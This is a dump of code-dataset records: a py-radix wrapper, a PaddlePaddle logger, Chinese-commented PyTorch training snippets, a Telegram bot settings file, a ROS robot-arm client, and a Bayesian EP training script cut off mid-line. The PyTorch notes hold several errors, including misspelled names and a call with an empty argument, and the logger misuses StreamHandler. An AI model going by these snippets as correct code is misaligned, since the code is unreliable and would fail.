df062a57c8bd6aaafd7f76e16ce4abe5dfbd4b8a

[ "BSD-4-Clause-UC" ]

null

radix/__init__.py

otetard/py-radix

df062a57c8bd6aaafd7f76e16ce4abe5dfbd4b8a

[ "BSD-4-Clause-UC" ]

null

radix/__init__.py

otetard/py-radix

df062a57c8bd6aaafd7f76e16ce4abe5dfbd4b8a

[ "BSD-4-Clause-UC" ]

1

2022-03-02T20:26:15.000Z

try: from ._radix import Radix as _Radix except Exception as e: from .radix import Radix as _Radix __version__ = '1.0.0' __all__ = ['Radix'] # This acts as an entrypoint to the underlying object (be it a C # extension or pure python representation, pickle files will work)

30.45

66

0.646141

try: from ._radix import Radix as _Radix except Exception as e: from .radix import Radix as _Radix __version__ = '1.0.0' __all__ = ['Radix'] # This acts as an entrypoint to the underlying object (be it a C # extension or pure python representation, pickle files will work) class Radix(object): def __init__(self): self._radix = _Radix() self.add = self._radix.add self.delete = self._radix.delete self.search_exact = self._radix.search_exact self.search_best = self._radix.search_best self.search_worst = self._radix.search_worst self.search_covered = self._radix.search_covered self.search_covering = self._radix.search_covering self.nodes = self._radix.nodes self.prefixes = self._radix.prefixes def __iter__(self): for elt in self._radix: yield elt def __getstate__(self): return [(elt.prefix, elt.data) for elt in self] def __setstate__(self, state): for prefix, data in state: node = self._radix.add(prefix) for key in data: node.data[key] = data[key] def __reduce__(self): return (Radix, (), self.__getstate__())

779

-1

156

d4f18ce0ff738c966f1e237beffc9da366e3ae64

2,521

py

Python

python/paddle/hapi/logger.py

TingquanGao/Paddle

9b1015d90b4d498ab58df7cff2c3ed27863ce970

[ "Apache-2.0" ]

10

2021-05-12T07:20:32.000Z

2022-03-04T08:21:56.000Z

python/paddle/hapi/logger.py

AFLee/Paddle

311b3b44fc7d51d4d66d90ab8a3fc0d42231afda

[ "Apache-2.0" ]

1

2021-01-25T09:40:19.000Z

python/paddle/hapi/logger.py

AFLee/Paddle

311b3b44fc7d51d4d66d90ab8a3fc0d42231afda

[ "Apache-2.0" ]

25

2019-12-07T02:14:14.000Z

2021-12-30T06:16:30.000Z

# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import sys import logging from paddle.fluid.dygraph.parallel import ParallelEnv def setup_logger(output=None, name="hapi", log_level=logging.INFO): """ Initialize logger of hapi and set its verbosity level to "INFO". Args: output (str): a file name or a directory to save log. If None, will not save log file. If ends with ".txt" or ".log", assumed to be a file name. Otherwise, logs will be saved to `output/log.txt`. name (str): the root module name of this logger. Default: 'hapi'. log_level (enum): log level. eg.'INFO', 'DEBUG', 'ERROR'. Default: logging.INFO. Returns: logging.Logger: a logger """ logger = logging.getLogger(name) logger.propagate = False logger.setLevel(log_level) format_str = '%(asctime)s - %(name)s - %(levelname)s - %(message)s' # stdout logging: only local rank==0 local_rank = ParallelEnv().local_rank if local_rank == 0 and len(logger.handlers) == 0: ch = logging.StreamHandler(stream=sys.stdout) ch.setLevel(log_level) ch.setFormatter(logging.Formatter(format_str)) logger.addHandler(ch) # file logging if output is not None: all workers if output is not None: if output.endswith(".txt") or output.endswith(".log"): filename = output else: filename = os.path.join(output, "log.txt") if local_rank > 0: filename = filename + ".rank{}".format(local_rank) if not os.path.exists(os.path.dirname(filename)): os.makedirs(os.path.dirname(filename)) fh = logging.StreamHandler(filename) fh.setLevel(log_level) fh.setFormatter(logging.Formatter(format_str)) logger.addHandler(fh) return logger

35.013889

94

0.678302

# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import sys import logging from paddle.fluid.dygraph.parallel import ParallelEnv def setup_logger(output=None, name="hapi", log_level=logging.INFO): """ Initialize logger of hapi and set its verbosity level to "INFO". Args: output (str): a file name or a directory to save log. If None, will not save log file. If ends with ".txt" or ".log", assumed to be a file name. Otherwise, logs will be saved to `output/log.txt`. name (str): the root module name of this logger. Default: 'hapi'. log_level (enum): log level. eg.'INFO', 'DEBUG', 'ERROR'. Default: logging.INFO. Returns: logging.Logger: a logger """ logger = logging.getLogger(name) logger.propagate = False logger.setLevel(log_level) format_str = '%(asctime)s - %(name)s - %(levelname)s - %(message)s' # stdout logging: only local rank==0 local_rank = ParallelEnv().local_rank if local_rank == 0 and len(logger.handlers) == 0: ch = logging.StreamHandler(stream=sys.stdout) ch.setLevel(log_level) ch.setFormatter(logging.Formatter(format_str)) logger.addHandler(ch) # file logging if output is not None: all workers if output is not None: if output.endswith(".txt") or output.endswith(".log"): filename = output else: filename = os.path.join(output, "log.txt") if local_rank > 0: filename = filename + ".rank{}".format(local_rank) if not os.path.exists(os.path.dirname(filename)): os.makedirs(os.path.dirname(filename)) fh = logging.StreamHandler(filename) fh.setLevel(log_level) fh.setFormatter(logging.Formatter(format_str)) logger.addHandler(fh) return logger

0

810f92db062fdf62ffd23425e50d565e2ea12589

10,919

py

Python

pytorch/torch_train.py

LianShuaiLong/Codebook

fd67440d2de80b48aa90b9f7ea5d459baee0a6d8

[ "MIT" ]

null

pytorch/torch_train.py

LianShuaiLong/Codebook

fd67440d2de80b48aa90b9f7ea5d459baee0a6d8

[ "MIT" ]

null

pytorch/torch_train.py

LianShuaiLong/Codebook

fd67440d2de80b48aa90b9f7ea5d459baee0a6d8

[ "MIT" ]

null

import torch import torch.nn as nn import numpy as np #********************模型训练*******************************# criterion = nn.CrossEntropyLoss() optimizer = torch.optim.Adam(model.parameters(),lr=learning_rate) device = 'cuda' if torch.cuda.is_available() else 'cpu' model = model.to(device) for epoch in range(train_epochs): for i,(images,labels) in enumerate(train_loader): images = images.cuda() labels = labels.cuda() outs = model(images) loss = criterion(outs,labels) # 根据pytorch中backward（）函数的计算， # 当网络参量进行反馈时，梯度是累积计算而不是被替换， # 但在处理每一个batch时并不需要与其他batch的梯度混合起来累积计算， # 因此需要对每个batch调用一遍zero_grad（）将参数梯度置0. optimizer.zero_grad() loss.backward() optimizer.step() print(f'Epoch:{epoch},Loss:{loss.item()}...') #********************模型测试************************# model.eval() #对于bn和drop_out 起作用 with torch.no_grad(): correct = 0 total = 0 for images,labels in test_loader: images = images.to(device) labels = labels.to(device) outputs = model(images) pred = torch.argmax(outputs,1).item() correct+= (torch.argmax(outputs,1)==labels).sum().cpu().data.numpy() total += len(images) print(f'acc:{correct/total:.3f}') #****************自定义loss*************************# #***************标签平滑,有很强的聚类效果？？？****************************# # https://zhuanlan.zhihu.com/p/302843504 label smoothing 分析 # 写一个label_smoothing.py 的文件，然后再训练代码里面引用，用LSR代替交叉熵损失即可 import torch import torch.nn as nn # timm 库中有现成的接口 # PyTorchImageModels # from timm.loss import LabelSmoothingCrossEntrophy # from timm.loss import SoftTargetCrossEntrophy # criterion = LabelSmoothingCrossEntrophy(smoothing=config.MODEL.LABEL_SMOOTHING) # criterion = SoftTargetCrossEntrophy() # 或者直接再训练过程中进行标签平滑 for images, labels in train_loader: images, labels = images.cuda(), labels.cuda() N = labels.size(0) # C is the number of classes. smoothed_labels = torch.full(size=(N, C), fill_value=0.1 / (C - 1)).cuda() smoothed_labels.scatter_(dim=1, index=torch.unsqueeze(labels, dim=1), value=0.9) score = model(images) log_prob = torch.nn.functional.log_softmax(score, dim=1) loss = -torch.sum(log_prob * smoothed_labels) / N optimizer.zero_grad() loss.backward() optimizer.step() #******************************Mixup训练,数据增强的一种方式***********************************# # mixup采用对不同类别之间进行建模的方式实现数据增强，而通用数据增强方法则是针对同一类做变换。(经验风险最小->邻域风险最小),提升对抗样本及噪声样本的鲁棒性 # 思路非常简单： # 从训练样本中随机抽取两个样本进行简单的随机加权求和，对于标签，相当于加权后的样本有两个label # 求loss的时候，对两个label的loss进行加权，在反向求导更新参数。 # https://zhuanlan.zhihu.com/p/345224408 # distributions包含可参数化的概率分布和采样函数 # timm库有现成接口 # from timm.data import Mixup # mixup_fn = Mixup( # mixup_alpha=0.8, # cutmix_alpha=1.0, # cutmix_minmax=None, # prob=1.0, # switch_prob=0.5, # mode='batch', # label_smoothing=0.1, # num_classes=1000) # x,y = mixup_fn(x,y) beta_distribution = torch.distributions.beta.Beta(alpha, alpha) for images, labels in train_loader: images, labels = images.cuda(), labels.cuda() # Mixup images and labels. lambda_ = beta_distribution.sample([]).item() index = torch.randperm(images.size(0)).cuda() mixed_images = lambda_ * images + (1 - lambda_) * images[index, :] label_a, label_b = labels, labels[index] # Mixup loss. scores = model(mixed_images) loss = (lambda_ * loss_function(scores, label_a) + (1 - lambda_) * loss_function(scores, label_b)) optimizer.zero_grad() loss.backward() optimizer.step() #************************正则化*********************** # l1正则化 loss = nn.CrossEntropyLoss() for param in model.parameters(): loss += torch.sum(torch.abs(param)) loss.backward() # l2正则化，pytorch中的weight_decay相当于l2正则化 bias_list = (param for name, param in model.named_parameters() if name[-4:] == 'bias') others_list = (param for name, param in model.named_parameters() if name[-4:] != 'bias') parameters = [{'parameters': bias_list, 'weight_decay': 0}, {'parameters': others_list}] optimizer = torch.optim.SGD(parameters, lr=1e-2, momentum=0.9, weight_decay=1e-4) #*********************梯度裁剪*************************# torch.nn.utils.clip_grad_norm_(model.parameters(),max_norm=20) #********************得到当前学习率*********************# # If there is one global learning rate (which is the common case). lr = next(iter(optimizer.param_groups))['lr'] # If there are multiple learning rates for different layers. all_lr = [] for param_group in optimizer.param_groups: all_lr.append(param_group['lr']) #在一个batch训练代码中,当前的lr是optimzer.param_groups[0]['lr'] #**********************学习率衰减************************# scheduler = torch.optim.lr_scheduler.ReduceLROnPlateaue(optimizer,mode='max',patience=5,verbose=True) for epoch in range(num_epochs): train_one_epoch(...) val(...) scheduler.step(val_acc) # Cosine annealing learning rate scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer=,T_max=80) # Redule learning rate by 10 at given epochs scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer,milestones=[50,70],gamma=0.1) for t in range(0,80): scheduler.step() train(...) val(...) # learning rate warmup by 10 epochs # torch.optim.lr_scheduler.LambdaLR(optimizer, lr_lambda, last_epoch=-1, verbose=False) # 设置学习率为初始学习率乘以给定lr_lambda函数的值，lr_lambda一般输入为当前epoch # https://blog.csdn.net/ltochange/article/details/116524264 scheduler = torch.optim.lr_scheduler.LambdaLR(optimizer,lr_lambda=lambda t: t/10) for t in range(0,10): scheduler.step() train(...) val(...) #**********************优化器链式更新******************************# # 从pytorch1.4版本开始，torch.optim.lr_scheduler支持链式更新(chaining)，即用户可以定义两个schedulers，并在训练过程中交替使用 import torch from torch.optim import SGD from torch.optim.lr_scheduler import ExponentialLR,StepLR model = [torch.nn.Parameter(torch.randn(2,2,requires_grad=True))] optimizer = SGD(model,0.1) scheduler1 = ExponentialLR(optimizer,gamma=0.9) scheduler2 = StepLR(optimizer,step_size=3,gamma=0.1) for epoch in range(4): print(ecoch,scheduler2.get_last_lr()[0]) print(epoch,scheduler1.get_last_lr()[0]) optimizer.step() scheduler1.step() scheduler2.step() #********************模型训练可视化*******************************# # pytorch可以使用tensorboard来可视化训练过程 # pip install tensorboard # tensorboard --logdir=runs # 使用SummaryWriter类来收集和可视化相应的数据，为了方便查看，可以使用不同的文件夹，比如'loss/train'和'loss/test' from torch.utils.tensorboard import SummaryWriter import numpy as np writer = SummaryWriter() for n_iter in range(100): writer.add_scalar('loss/train',np.random.random(),n_iter) writer.add_scalar('loss/test',np.random.random(),n_iter) writer.add_scalar('Accuracy/train',np.random.random(),n_iter) writer.add_scalar('Accuracy/test',np.random.random(),n_iter) #********************保存和加载检查点****************************# start_epoch = 0 # Load checkpoint. if resume: # resume为参数，第一次训练时设为0，中断再训练时设为1 model_path = os.path.join('model', 'best_checkpoint.pth.tar') assert os.path.isfile(model_path) checkpoint = torch.load(model_path) best_acc = checkpoint['best_acc'] start_epoch = checkpoint['epoch'] model.load_state_dict(checkpoint['model']) optimizer.load_state_dict(checkpoint['optimizer']) print('Load checkpoint at epoch {}.'.format(start_epoch)) print('Best accuracy so far {}.'.format(best_acc)) # Train the model for epoch in range(start_epoch, num_epochs): ... # Test the model ... # save checkpoint is_best = current_acc > best_acc best_acc = max(current_acc, best_acc) checkpoint = { 'best_acc': best_acc, 'epoch': epoch + 1, 'model': model.state_dict(), 'optimizer': optimizer.state_dict(), } model_path = os.path.join('model', 'checkpoint.pth.tar') best_model_path = os.path.join('model', 'best_checkpoint.pth.tar') torch.save(checkpoint, model_path) if is_best: shutil.copy(model_path, best_model_path)

34.553797

111

0.637513

import torch import torch.nn as nn import numpy as np #********************模型训练*******************************# criterion = nn.CrossEntropyLoss() optimizer = torch.optim.Adam(model.parameters(),lr=learning_rate) device = 'cuda' if torch.cuda.is_available() else 'cpu' model = model.to(device) for epoch in range(train_epochs): for i,(images,labels) in enumerate(train_loader): images = images.cuda() labels = labels.cuda() outs = model(images) loss = criterion(outs,labels) # 根据pytorch中backward（）函数的计算， # 当网络参量进行反馈时，梯度是累积计算而不是被替换， # 但在处理每一个batch时并不需要与其他batch的梯度混合起来累积计算， # 因此需要对每个batch调用一遍zero_grad（）将参数梯度置0. optimizer.zero_grad() loss.backward() optimizer.step() print(f'Epoch:{epoch},Loss:{loss.item()}...') #********************模型测试************************# model.eval() #对于bn和drop_out 起作用 with torch.no_grad(): correct = 0 total = 0 for images,labels in test_loader: images = images.to(device) labels = labels.to(device) outputs = model(images) pred = torch.argmax(outputs,1).item() correct+= (torch.argmax(outputs,1)==labels).sum().cpu().data.numpy() total += len(images) print(f'acc:{correct/total:.3f}') #****************自定义loss*************************# class MyLoss(nn.Module): def __init__(self): super(MyLoss,self).__init__() def forward(self,x,y): looss = torch.mean((x-y)**2) return loss #***************标签平滑,有很强的聚类效果？？？****************************# # https://zhuanlan.zhihu.com/p/302843504 label smoothing 分析 # 写一个label_smoothing.py 的文件，然后再训练代码里面引用，用LSR代替交叉熵损失即可 import torch import torch.nn as nn # timm 库中有现成的接口 # PyTorchImageModels # from timm.loss import LabelSmoothingCrossEntrophy # from timm.loss import SoftTargetCrossEntrophy # criterion = LabelSmoothingCrossEntrophy(smoothing=config.MODEL.LABEL_SMOOTHING) # criterion = SoftTargetCrossEntrophy() class LSR(nn.Module): def __init__(self,e=0.1,reduction='mean'): super(LSR,self).__init__() self.log_softmax = nn.LogSoftmax(dim=1) self.e = e self.reduction = reduction def _one_hot(self,labels,classes,value=1): ''' Convert labels to one hot vectors Args: labels: torch tensor in format [label1,label2,label3,...] classes: int,number of classes value: label value in one hot vector,default to 1 Returns: return one hot format labels in shape [batchsize,classes] ''' one_hot = torch.zeros(labels.size(0),classes) # labels and value_added size must match labels = labels.view(labels.size(0),-1) value_added = torch.Tensor(labels.size(0),1).fill_(value) value_added = value_added.to(labels.device) one_hot = one_hot.to(labels.device) one_hot.scatter_add_(1,labels,value_added) # scatter_add_(dim, index_tensor, other_tensor) # 将other_tensor中的数据，按照index_tensor中的索引位置，添加至one_hot中 return one_hot def _smooth_label(self,target,length,smooth_factor): ''' Convert targets to one hot vector and smooth them eg: [1,0,0,0,0,0]->[0.9,0.02,0.02,0.02,0.02,0.02] Args: target: target in format[label1,label2,label3,...,label_batchsize] length: length of one-hot format(number of classes) smooth_factor: smooth factor for label smooth Returns: smoothed labels in one hot format ''' one_hot = self._one_hot(target,length,value=1-smooth_factor) one_hot += smooth_factor/(length-1) return one_hot.to(target.device) def forward(self,x,target):# x,网络分类结果，shape=[B,num_classes] if x.size(0)!=target.size(0): raise ValueError(f'Expected input batchsize{x.size(0)} to match target batchsize {target.size(0)}') if x.dim()!=2: raise ValueError(f'Expected input tensor to have 2 dimensions,got {x.dim()}') smoothed_target = self._smooth_label(target,x.size(1),self.e) x = self.log_softmax(x) loss = torch.sum(-x*smoothed_target,dim=1) if self.reduction == 'None': return loss elif self.reduction == 'sum': return torch.sum(loss) elif self.reduction == 'mean': return torch.mean(loss) else: raise ValueError('Unrecongnized option,expect reduction to be one of none,mean,sum') # 或者直接再训练过程中进行标签平滑 for images, labels in train_loader: images, labels = images.cuda(), labels.cuda() N = labels.size(0) # C is the number of classes. smoothed_labels = torch.full(size=(N, C), fill_value=0.1 / (C - 1)).cuda() smoothed_labels.scatter_(dim=1, index=torch.unsqueeze(labels, dim=1), value=0.9) score = model(images) log_prob = torch.nn.functional.log_softmax(score, dim=1) loss = -torch.sum(log_prob * smoothed_labels) / N optimizer.zero_grad() loss.backward() optimizer.step() #******************************Mixup训练,数据增强的一种方式***********************************# # mixup采用对不同类别之间进行建模的方式实现数据增强，而通用数据增强方法则是针对同一类做变换。(经验风险最小->邻域风险最小),提升对抗样本及噪声样本的鲁棒性 # 思路非常简单： # 从训练样本中随机抽取两个样本进行简单的随机加权求和，对于标签，相当于加权后的样本有两个label # 求loss的时候，对两个label的loss进行加权，在反向求导更新参数。 # https://zhuanlan.zhihu.com/p/345224408 # distributions包含可参数化的概率分布和采样函数 # timm库有现成接口 # from timm.data import Mixup # mixup_fn = Mixup( # mixup_alpha=0.8, # cutmix_alpha=1.0, # cutmix_minmax=None, # prob=1.0, # switch_prob=0.5, # mode='batch', # label_smoothing=0.1, # num_classes=1000) # x,y = mixup_fn(x,y) beta_distribution = torch.distributions.beta.Beta(alpha, alpha) for images, labels in train_loader: images, labels = images.cuda(), labels.cuda() # Mixup images and labels. lambda_ = beta_distribution.sample([]).item() index = torch.randperm(images.size(0)).cuda() mixed_images = lambda_ * images + (1 - lambda_) * images[index, :] label_a, label_b = labels, labels[index] # Mixup loss. scores = model(mixed_images) loss = (lambda_ * loss_function(scores, label_a) + (1 - lambda_) * loss_function(scores, label_b)) optimizer.zero_grad() loss.backward() optimizer.step() #************************正则化*********************** # l1正则化 loss = nn.CrossEntropyLoss() for param in model.parameters(): loss += torch.sum(torch.abs(param)) loss.backward() # l2正则化，pytorch中的weight_decay相当于l2正则化 bias_list = (param for name, param in model.named_parameters() if name[-4:] == 'bias') others_list = (param for name, param in model.named_parameters() if name[-4:] != 'bias') parameters = [{'parameters': bias_list, 'weight_decay': 0}, {'parameters': others_list}] optimizer = torch.optim.SGD(parameters, lr=1e-2, momentum=0.9, weight_decay=1e-4) #*********************梯度裁剪*************************# torch.nn.utils.clip_grad_norm_(model.parameters(),max_norm=20) #********************得到当前学习率*********************# # If there is one global learning rate (which is the common case). lr = next(iter(optimizer.param_groups))['lr'] # If there are multiple learning rates for different layers. all_lr = [] for param_group in optimizer.param_groups: all_lr.append(param_group['lr']) #在一个batch训练代码中,当前的lr是optimzer.param_groups[0]['lr'] #**********************学习率衰减************************# scheduler = torch.optim.lr_scheduler.ReduceLROnPlateaue(optimizer,mode='max',patience=5,verbose=True) for epoch in range(num_epochs): train_one_epoch(...) val(...) scheduler.step(val_acc) # Cosine annealing learning rate scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer=,T_max=80) # Redule learning rate by 10 at given epochs scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer,milestones=[50,70],gamma=0.1) for t in range(0,80): scheduler.step() train(...) val(...) # learning rate warmup by 10 epochs # torch.optim.lr_scheduler.LambdaLR(optimizer, lr_lambda, last_epoch=-1, verbose=False) # 设置学习率为初始学习率乘以给定lr_lambda函数的值，lr_lambda一般输入为当前epoch # https://blog.csdn.net/ltochange/article/details/116524264 scheduler = torch.optim.lr_scheduler.LambdaLR(optimizer,lr_lambda=lambda t: t/10) for t in range(0,10): scheduler.step() train(...) val(...) #**********************优化器链式更新******************************# # 从pytorch1.4版本开始，torch.optim.lr_scheduler支持链式更新(chaining)，即用户可以定义两个schedulers，并在训练过程中交替使用 import torch from torch.optim import SGD from torch.optim.lr_scheduler import ExponentialLR,StepLR model = [torch.nn.Parameter(torch.randn(2,2,requires_grad=True))] optimizer = SGD(model,0.1) scheduler1 = ExponentialLR(optimizer,gamma=0.9) scheduler2 = StepLR(optimizer,step_size=3,gamma=0.1) for epoch in range(4): print(ecoch,scheduler2.get_last_lr()[0]) print(epoch,scheduler1.get_last_lr()[0]) optimizer.step() scheduler1.step() scheduler2.step() #********************模型训练可视化*******************************# # pytorch可以使用tensorboard来可视化训练过程 # pip install tensorboard # tensorboard --logdir=runs # 使用SummaryWriter类来收集和可视化相应的数据，为了方便查看，可以使用不同的文件夹，比如'loss/train'和'loss/test' from torch.utils.tensorboard import SummaryWriter import numpy as np writer = SummaryWriter() for n_iter in range(100): writer.add_scalar('loss/train',np.random.random(),n_iter) writer.add_scalar('loss/test',np.random.random(),n_iter) writer.add_scalar('Accuracy/train',np.random.random(),n_iter) writer.add_scalar('Accuracy/test',np.random.random(),n_iter) #********************保存和加载检查点****************************# start_epoch = 0 # Load checkpoint. if resume: # resume为参数，第一次训练时设为0，中断再训练时设为1 model_path = os.path.join('model', 'best_checkpoint.pth.tar') assert os.path.isfile(model_path) checkpoint = torch.load(model_path) best_acc = checkpoint['best_acc'] start_epoch = checkpoint['epoch'] model.load_state_dict(checkpoint['model']) optimizer.load_state_dict(checkpoint['optimizer']) print('Load checkpoint at epoch {}.'.format(start_epoch)) print('Best accuracy so far {}.'.format(best_acc)) # Train the model for epoch in range(start_epoch, num_epochs): ... # Test the model ... # save checkpoint is_best = current_acc > best_acc best_acc = max(current_acc, best_acc) checkpoint = { 'best_acc': best_acc, 'epoch': epoch + 1, 'model': model.state_dict(), 'optimizer': optimizer.state_dict(), } model_path = os.path.join('model', 'checkpoint.pth.tar') best_model_path = os.path.join('model', 'best_checkpoint.pth.tar') torch.save(checkpoint, model_path) if is_best: shutil.copy(model_path, best_model_path)

1,040

1,682

96

a2feaa66fb720cdce480b8608dce5a48d06ecb63

343

py

Python

settings.py

AbduazizZiyodov/google-it

04ead41ebf99991a53816d3a3436bc18200534d9

[ "MIT" ]

5

2021-07-20T05:53:19.000Z

2022-01-08T16:39:36.000Z

settings.py

AbduazizZiyodov/google-it

04ead41ebf99991a53816d3a3436bc18200534d9

[ "MIT" ]

null

settings.py

AbduazizZiyodov/google-it

04ead41ebf99991a53816d3a3436bc18200534d9

[ "MIT" ]

null

from os import getenv from dotenv import load_dotenv load_dotenv() BOT_TOKEN = getenv("TELEGRAM_API_TOKEN") GROUP_CHAT_ID = getenv("GROUP_CHAT_ID") CHANNEL_NAME = getenv("CHANNEL_NAME") SUPER_USER_ID = getenv("SUPER_USER_ID") # sudo :) GOOGLE_API_KEY = getenv('GOOGLE_API_KEY') CSE_ID = getenv('CSE_ID') SENTRY_DSN = getenv("SENTRY_SDK")

22.866667

50

0.772595

from os import getenv from dotenv import load_dotenv load_dotenv() BOT_TOKEN = getenv("TELEGRAM_API_TOKEN") GROUP_CHAT_ID = getenv("GROUP_CHAT_ID") CHANNEL_NAME = getenv("CHANNEL_NAME") SUPER_USER_ID = getenv("SUPER_USER_ID") # sudo :) GOOGLE_API_KEY = getenv('GOOGLE_API_KEY') CSE_ID = getenv('CSE_ID') SENTRY_DSN = getenv("SENTRY_SDK")

0

43c16e1db9a20e1ecc8fe01ebda719c66c84cf46

1,514

py

Python

scripts/move_client.py

stefanyangwang/mycobot_320_moveit

95912336e921c48b8da37c1a6bd7db30fec0f1db

[ "BSD-2-Clause" ]

null

scripts/move_client.py

stefanyangwang/mycobot_320_moveit

95912336e921c48b8da37c1a6bd7db30fec0f1db

[ "BSD-2-Clause" ]

null

scripts/move_client.py

stefanyangwang/mycobot_320_moveit

95912336e921c48b8da37c1a6bd7db30fec0f1db

[ "BSD-2-Clause" ]

1

2022-02-12T20:17:28.000Z

#!/usr/bin/env python import rospy import actionlib from mycobot_320_moveit.msg import * if __name__ == '__main__': rospy.init_node('move_client') result = move_client() print(result)

33.644444

66

0.693527

#!/usr/bin/env python import rospy import actionlib from mycobot_320_moveit.msg import * def move_client(): client = actionlib.SimpleActionClient('move', MultiMoveAction) print("Waiting for the move server ...") client.wait_for_server() print("\n --- Server ready --- \n") goal = MultiMoveGoal() approach_goal = robot_goals() approach_goal.x = 0.25409088624289733 approach_goal.y = -0.03248359876201828 approach_goal.z = 0.11967745058037846 approach_goal.ox = 0.3852122476586819 approach_goal.oy = 0.5951954753491578 approach_goal.oz = -0.3842176257717917 approach_goal.ow = 0.5913803229935233 goal.targetPosition.append(approach_goal) target_goal = robot_goals() target_goal.x = 0.2539028024599151 target_goal.y = -0.0322778144393383 target_goal.z = 0.06967822781338817 target_goal.ox = 0.3852122476586819 target_goal.oy = 0.5951954753491578 target_goal.oz = -0.3842176257717917 target_goal.ow = 0.5913803229935233 goal.targetPosition.append(target_goal) client.send_goal(goal) client_state = client.get_state() while client_state != 3: # not in [2,3,4,5,8] client_state = client.get_state() # ABORTED : 4 if client_state == 4: return 'target_not_reached' print(client_state) print('--- Movement completed ---') return 'target_reached' if __name__ == '__main__': rospy.init_node('move_client') result = move_client() print(result)

1,279

0

23

fc74b9577e20bcc629403331623bb4ddb894d484

40,036

py

Python

OLSS/rcv1/ParamChoice/sep_tune.py

zsdlightning/OLSS

7fc5d8621adfcaab61defb61719b82aeb05cc1b3

[ "MIT" ]

1

2018-06-29T10:02:29.000Z

OLSS/rcv1/ParamChoice/sep_tune.py

zsdlightning/OLSS

7fc5d8621adfcaab61defb61719b82aeb05cc1b3

[ "MIT" ]

null

OLSS/rcv1/ParamChoice/sep_tune.py

zsdlightning/OLSS

7fc5d8621adfcaab61defb61719b82aeb05cc1b3

[ "MIT" ]

null

#!/bin/python import os import sys import time import numpy as np import scipy as sp from scipy.stats import norm as normal from scipy.special import * from scipy.linalg import block_diag from scipy.sparse import csr_matrix import scipy.linalg as linalg from sklearn import metrics import random ''' This version deals with sparse features, VW format ''' feature_off = 3 #d: dimension, rho: selection prior # normal_PDF / normal_CDF #batch training #note, n is an array #calculate the appearche of each features in the training data, used for the step-size of each approx. factor #this version is the same as train_stochastic_multi_rate, except that at the beining, I will update all the prior factors #this version keeps average likelihood for pos. and neg. samples separately, and also use n_pos and n_neg to update the full posterior #enforce the same step-size #this reads data from HDFS and keeps read the negative samples until it reaches the same amount with the postive samples #then pass once #in theory, go 1000 pass can process all 7 days' data, 150 iteraions can process 1day's data #SEP training #calculate the appearche of each features in the training data, for postive and negative samples if __name__ == '__main__': if len(sys.argv) != 2: print 'usage %s <tau0>'%sys.argv[0] sys.exit(1) np.random.seed(0) tune_rcv1(float(sys.argv[1]))

46.499419

183

0.496054

#!/bin/python import os import sys import time import numpy as np import scipy as sp from scipy.stats import norm as normal from scipy.special import * from scipy.linalg import block_diag from scipy.sparse import csr_matrix import scipy.linalg as linalg from sklearn import metrics import random ''' This version deals with sparse features, VW format ''' feature_off = 3 def vec(a): return a.reshape([a.size,1]) def normalize(val, mean_std): return (val - mean_std[0])/mean_std[1] class EPSS: #d: dimension, rho: selection prior def __init__(self, d, rho0 = 0.5, n_epoch = 1, mini_batch = 1, tol = 1e-5, damping = 0.9, tau0 = 1.0): #Bernoli prior for selection variables self.rho = logit(rho0) self.tol = tol self.damping = damping self.tau0 = tau0 self.INF = 1e6 self.mini_batch = mini_batch self.n_epoch = n_epoch # normal_PDF / normal_CDF def pdf_over_cdf(self, input): #return normal.pdf(input)/normal.cdf(input) return np.exp( normal.logpdf(input) - normal.logcdf(input) ) #batch training def train(self, X, y, intercept = False): if intercept: X = np.hstack([X, np.ones(X.shape[0]).reshape([X.shape[0],1])]) self.init(X,y) n,d = X.shape X2 = X*X Y = np.tile(vec(y), [1,d]) for it in xrange(self.max_iter): old_v = self.v.copy() old_mu = self.mu.copy() old_r = self.r.copy() #likelihood terms (future version should have go through one by one rather than parallel) v = np.tile(self.v, [n,1]) mu = np.tile(self.mu, [n, 1]) v_inv_not = 1.0/v - 1.0/self.v_l v_not = 1.0/v_inv_not mu_not = v_not * (mu/v - self.mu_l/self.v_l) t1 = y * np.sum(mu_not * X, 1) t2 = np.sqrt(np.sum(v_not*X2 + 1.0, 1)) t3 = self.pdf_over_cdf(t1/t2)/t2 dmu_not = np.tile(vec(t3*y), [1, d]) * X dv_not = np.tile(vec(-0.5*t3*t1/(t2*t2)), [1,d]) * X2 mu = mu_not + v_not * dmu_not v = v_not - v_not**2*(dmu_not**2 - 2*dv_not) #updated likelihood terms v_l_inv = 1/v - 1/v_not v_l_inv[ v_l_inv <= 0] = 1/self.INF v_l = 1.0/v_l_inv #damping v_l_inv = self.damping * 1.0/v_l + (1 - self.damping) * 1.0/self.v_l v_l_inv_mu = self.damping * ( mu/v - mu_not/v_not ) + (1 - self.damping) * self.mu_l/self.v_l self.v_l = 1/v_l_inv self.mu_l = self.v_l * v_l_inv_mu #update global terms v_inv_all = np.sum(1/self.v_l, 0) + 1/self.v_p v_inv_mu = np.sum(self.mu_l/self.v_l, 0) + self.mu_p/self.v_p self.v = 1/v_inv_all self.mu = self.v * v_inv_mu #update prior terms v_inv_not = 1/self.v - 1/self.v_p v_not = 1/v_inv_not mu_not = v_not * (self.mu/self.v - self.mu_p/self.v_p) v_tilt = 1/(1/v_not + 1/self.tau0) mu_tilt = v_tilt * (mu_not/v_not) #log N(0 | mu_not, v_not + tau0) log_h = normal.logpdf(mu_not, scale = np.sqrt(v_not + self.tau0)) #log N(0 | mu_not, v_not) log_g = 